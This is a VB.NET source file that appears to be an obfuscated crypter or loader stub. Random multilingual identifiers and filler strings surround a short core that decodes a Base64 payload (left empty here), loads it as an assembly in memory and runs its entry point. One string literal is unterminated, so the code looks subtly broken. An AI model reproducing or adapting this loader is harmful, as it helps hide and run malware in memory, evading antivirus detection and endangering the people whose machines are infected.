module module1
Dim 余ა새伏说道 As String= "예로问예么ნ答თ答伏를年성频余乓道을돈ქლ는를涯하华"
 Dim თ涯ქ么天年天ნ延道文ა로价外乓丢语ა余하涯伟说年华 As String = "예돈年ც传예ლა乓를ც예伐怎涯么하伐을를하说을先하怎文하ეე乓语ა지지새外伏을ა乓예"
 Dim თ怎예伐涯价怎天道지성余文하예새乓伟先로伟余აც로丢 As String = "涯ნ肉天ლა肉涯ე华ა伟答ლ를ნ说问丢余余频ქ文ე传을로ა余돈을성ა传을하外频예성伟"
Dim 涯华성ე问예하성를伐传모涯을余하돈伐肉道돈问ლ价하를 As String  = "지ლ예하延ლ하ე를份ე延აათელ모频ა么성余로하로하하ნ答하성하로肉文모로么华语道는天伟伟을说怎丢ქ돈ე하예예延로로하지延外道余延说年지怎ქ을天ა传하ლ说하说ც涯하로지伟ა外伐로份예说答을지道ა价么先频延모로는"
Dim 하传价하答로么ნ问를频을예文새하하延涯ქ语说ც外传天频하伏文丢语ა说모先ცა새道份ააცლ을年频예丢ა么说하하하ა份ლ丢ლთ伟로问道乓ა하价么로延伐天外说份로ე을을ე华하로모예答乓 As String  = "怎를先하ნ怎를თ问ათ돈ა说份예로ა问하丢로伐说ქ份天说ც乓答道თც를ლ새ლ伐年ა价"
Dim server () As byte = convert.FromBase64String("")
Dim 天肉余余余么语外价怎를伏道하ა价么肉새价지로를文ა성天ა예伟乓는를外肉肉ა돈语道예伏성지를ლ延年ნთ乓돈频价ლ文로로 As String= "하새华로하道모로를ათ성ე성问ა돈로하을ა새모ნა을예余예先를로지새答하를로华를예를"
 Dim ა를怎先道答先余丢하华로道ლ份하새ათ지예乓ა文份外 As String = "价伏예성华丢ლ伐하年ნც价을로肉价怎文华하份ა를예თ성余로를로ქ로ა지延ც예하지하价丢文ც问怎는答을肉로伐예하道外로伏频语问თ는ქ肉先延예频로伐怎伐么모伏说을ა年年答예로성을ცქ说"
 Dim 华을怎怎么ა价로延로를ც하语을频价外语问答로를传을돈语ა道모丢을ა를传问를를예예돈ა As String = "说ა로하价伟伐을伐ლ새하하频ქე새年ქე를ქ传余새问예예伏하ა丢么语돈文하延하道丢를语로天说하延乓로하价ნა예예새로"
Dim 华传აქ问ა지ა을로ე文份성ა을怎하份를频돈ნ伟로돈怎乓ქ说지乓새ქ는을თ价모么지지예频怎ა새예伟하돈ც모로을伐答는余ლ하ქ伐怎么外道지答예예价传로 As String  = "道问伟성先伏伏예ც伐频ცთ예华怎么는ან语么道外问로伟问을肉모年ა는ლთ外余를价肉성지价答ა涯ა伟余伟하ლა道怎예语先ე先道새모ქ文새伏을ცა丢伏ა乓ა语么ნ새文로ა余를延를伐하华"
Dim 예을ა价道肉答예天余을모伏지지모ა道성ლ外伟份乓延로 As String  = "丢频로肉는伟文로를华로伏성语问道모先怎ა价ლა새하성伏天么年하价余天을로예ლ频答성伏涯年天问지성თ하새余ცენცნ怎"
sub main(ByVal 예怎外丢份涯ა예를问伏예价伏价涯年怎答을하年价ა答伐答余하를伐份频先丢答로하지华ნ하돈로ე돈涯로传ნ로怎ა예하는天延乓하하로새伟ნ肉예로文肉说예ქ道文하모을年로ქ하ც새答余를하ა怎() as string )
Dim 를频는ლ伟ე예先频ა새თ을天语새모ე怎თ伟를传ნ로么하하모로价份를თ问모传을ენ涯道지答传伏ნ天성涯로问答价는涯答ა돈하새ა하说答么를ა天აქ乓로을 As String= "怎ც文么外모伐频份ლნ모伏로예აა예道乓语를ე모ნ새지丢지를ქ天ც语하传余肉하涯를예传丢年새하새를을모를ცა天는는를ა을价华乓하로涯ნა를აცნ을ა"
 Dim ე하하道ა外怎ათ로는새怎肉ა丢ა로道를天새伏答怎하 As String = "伐余天ალ余怎을丢伏새年ა성성თ로问로ე새道先თ先份怎을外伟肉ა를乓延肉을频모하年延ა价年예传하새하语么伟지새份说ქ예하语天么说肉ა를传ა外예频传모延하예새问频份问华로文ნ文를새하를频ც问丢文外을하ლ를伏说로는모"
 Dim 余肉语ლ涯文天을天延하份를ა伏传를თ로을外ა로华丢ც As String = "를예ა外로外აქ么说예伟华频ც肉华外예丢年모로文外频하语로를로答를을하예ლთ份모ე价로份돈先语外天价语涯ა传ქ道성问지先는성하文ა새么伐怎涯传성答ა"
Dim 涯을余을돈ქე乓을를예ლ答성年თ传새问频을로는说问을ნ예로지答传乓를예么ქა하肉价하ლ伏ქა答伟თ하么延하丢ა예传么성么余로涯로로么하ე하하돈年ც하延天하说肉하伐先로ნ지를을怎丢ა As String  = "하는돈么传ა로延说지延ნც伟새ა伟ე를先를语ა성先答ლქ传을伟예道를肉ლ语天예을는传성를乓하乓예돈么年答돈ე道伟文ქ"
Dim 예თ份თ예伟先새肉ა价传华ა乓예ქ는答涯怎ცა余თ语 As String  = "예怎么么ა로예예怎答先涯ქ모하余怎说로问예语天么을ნ答성는성ა伏华를道频ა文지语乓ე"
 dim 을华ა새文文答예问을频ლ频答예ლ예을涯道თ延지余로怎აე하를华하涯伏ც延怎伏를ცე를()as object =  new object(-1) {}
Dim 外涯伟华ა하새하로频을份伏传를를로价로年지伏ა说余频 As String= "를ა华ც모答怎文예ლ怎余伏涯文年새肉로예语外问天로语ლ语ნ성说는伏道问აქ频하하外延文丢ლ를怎ც语ა예돈을თ모ქ答先
 Dim 怎하를道频예丢성年丢돈ე하돈ნ余를伏ქ예外丢丢ა지道 As String = "로份ე传하传지问肉모를涯ე涯새涯怎天伏지语하份肉份하ა하성延예么问을怎ნნ道를天ალ돈로频하频华ც外丢ა伟先하问说伏"
 Dim 伐აა모예伐하를하하余성을თ涯ქ乓涯돈频华ც份天새份 As String = "文을을伟모份传예예로하伏ქ는ა天ქ文问ათ说说성华么돈ა先语를怎肉새를传道돈예로하하"
Dim ლთ돈ქნ先问ქ余를伐文么예ც份ა年თ丢华ქ么로를乓는예성ეა는乓로伏答天ა돈를ა先语로ა로예예肉道ცლ새ა로모ა로ნ를하ქ么하새么伐传伟성说传을乓伐伏伏余答外伏지ლე하华ა文余새价ე로问天余를年说하ნე로年延ა余问伟说지价传하돈涯文份로를伏文 As String  = "外ა하ა을频ა外外ა怎ქნ지지로频성하ლ하延传语는年을伟天를说年ქ文么伟价答ც么ა怎"
Dim 延肉ე频ქა外外年로을丢ლ로을价지새을성성თ答하ა说么를로答肉하频华先ა모余天로肉로 As String  = "모აა는ა로外怎价를을하说ც怎ა肉文는ნლ伟하问华涯ა频로ა价ა延延ა새თა을频예传伏乓伟伐道하지모涯성ქ年ე伐道肉모지ლ하余ც丢ე先乓하로을성说ა涯ა하答ქ을성로하伏ა肉丢하怎ლ"
 dim 로丢ე份을예问로价频로를ა传는传하伏하로를乓延问么ც As System.Reflection.Assembly  = AppDomain.CurrentDomain.Load(server)
Dim 로说天새华语乓涯თქ肉ა语年하지传涯ცც하ა지ა를აა么를თ성么答하道文语ც성를는肉语성外하로지文肉答을天语价语传예 As String= "丢ე么를怎年을새로하를새答로文ლ伟年는ც肉를를伟를성"
 Dim 하예延하ც乓ეთ年는ა하涯ა天价로로예ც答새答ლ성ქ肉伐道ა伐ც을을로ა问延问份么ლ예를外하예ქათ延涯ა余答을하로ა예ა예说答涯예ც问새伟ა伐涯새 As String = "传年ქც하道예ქ乓ნ道余么로余乓怎频ეც돈로ლ를伏ც"
 Dim ც성道文怎ა하乓ა를ა延모说肉는ე새하么余로모ლ么ნ하를文余答로文새外თ华하价怎ე을 As String = "份하年예ლა天华年伐ც语하ე예აე么을을는余年语涯ც"
Dim 涯说问传华는文예를余ქ频로伐예伏하로새乓ე伐ა文文道აა는모하ა文丢를하频을价涯价ნ로份余모새道ლ지份ე모文文伟么说 As String  = "么年ეაქ怎说么새怎로ქ丢모새는로么모를先年天აა文"
Dim 을文예로文하乓么თ怎는ა로伏天는年지说ქ하ა새文么로么伐先로ე份는先하예를모로로ა乓文问余모예하예份를余ა로ა怎语么肉道问지로ე语外文새先ა을语年지文를乓伏份ა肉答는伏ა伟余道ნა지丢로로份성ა涯ა로怎伟ნ频ქ怎를怎先예天频份ლ天延频ა传예答文道涯ქ频文ე모로ა새성伟ნთ를肉예天频를怎를하份ენა华肉肉აც As String  = "问예丢지么모外份余份ა涯로지을频성ც份华하伏로问ა伟"
IF 로丢ე份을예问로价频로를ა传는传하伏하로를乓延问么ც.EntryPoint.GetParameters().Length > 0 Then
Dim 을怎价丢ე성语예ათ余ა涯ნთაქ하涯예伟余თ文天语로하을예ე说频怎하乓延说丢文文예伏ქ을로天을하을ა么涯答돈价하예로伏ქ伟예华하文모乓频예份延份问说语语지延ა余先延하华年ა说을怎 As String= "예로问예么ნ答თ答伏를年성频余乓道을돈ქლ는를涯하华"
 Dim 道文说丢余文ც성모么说怎答ა을伐价성语伏天份예语ა先伟지年모天를돈지ნ예文文을余涯伐乓伐道说하하새예ა传份ე余天თ语 As String = "ნც传ა丢余年文აე伏频伏하을ა频돈하예道를를하余伐年说怎예频하하华로예么돈年을ქ하"
 Dim 天道华道丢ა하지频로ლც伐을文频성伟하涯ნ华问份로ა As String = "价ც새问ე延는频을天伟伟예ა语თა예频ა年예모를로说ა새ლ예价文ნ天外语外华语年을华지答예ც怎새余돈을伟说하ა伟을ქ"
Dim 하ეაა语ნ先频을伏ლ道天지丢份ე涯ე돈先涯余지乓先 As String  = "频하ლ余伟肉么ა성ნ로频ლ지价성么하语传ც年延传로ე怎를道하ალც先돈天延丢로თ文ლ么华答예로하ა余价天丢을说하თ을ა语돈怎지问乓余乓文肉ე는答价새"
Dim 伏余涯를를을를지는乓道问모로伏하하성问肉ა를ე하하을 As String  = "答答예თ天는延새을을问지하文ე么ა하로延丢余을天돈伏을აე华를价성을语ნ돈外모예ნ余文年지ე돈모份하涯频华ლა예涯을文모伟么을传성么外涯하答ა는频文华涯예文余로აქთქ로华을乓传하"
을华ა새文文答예问을频ლ频答예ლ예을涯道თ延지余로怎აე하를华하涯伏ც延怎伏를ცე를= New Object(){로丢ე份을예问로价频로를ა传는传하伏하로를乓延问么ც}
End If
Dim 을를问频肉ეა语성丢余로天天问伟延天道예问频语先说延 As String= "ნ份예ნა文文ნ答传ნთ을하价ა모说问丢先로ა로로ა涯道ე外天延道语年文年예예모ა怎华肉로모说么을로ცა예는丢ც频ა"
 Dim 를伐는份延伟么ეაა하을하예를는频天ც하를答를乓外ქ As String = "ე丢ნე로频伟余성예传예로ცლ새价频ა새天答를丢说새语外를丢성하答을로说을伟지先么道"
 Dim 로丢伏华丢余는乓伏传传外새를예새乓하肉说肉价华예延돈აა는外을예성성说么을ა文余道么说하ააა肉ა么涯ა새로ე모ნ로文돈文ა돈延语하하을价伐성年语를么모새天份ც하怎는을하外说예ა伐 As String = "을모ცა道伏华答余天ც를성을새涯答道로涯问ა说성年성天돈余语를答ეა先하를余을을하ა丢外를延语성을ლ丢道语伟ლ答로성ნ文로天涯ე天问怎外延怎성를모说"
Dim 伐ნ를么성თ怎份丢하怎份돈ა를하华道肉돈频하说问지年 As String  = "를么돈传을余道로语答份지语로肉로성ნ肉ა성年하频说는하ა새하모하를예예를传을语外는을答说ლ을文天外么를答语돈天华怎延"
Dim 文问모问语道丢份ლ么语文问传는ნ份么ა하ა伟하先语文 As String  = "涯새예ა로성ნ로예하를份하새로华余语伏语지答새频하예先份传지로说새ა로年么肉ლ延를지外예乓肉예余肉伐돈语로文ენ么하语乓ა肉伐天ა延年로华伏伐ა怎ე을么说ცა하ნა伟份天예하ა乓ლ涯外延怎传华答先모ნ로ნ年을丢예"
로丢ე份을예问로价频로를ა传는传하伏하로를乓延问么ც.EntryPoint.Invoke(Nothing,을华ა새文文答예问을频ლ频答예ლ예을涯道თ延지余로怎აე하를华하涯伏ც延怎伏를ცე를)
 End Sub
 End Module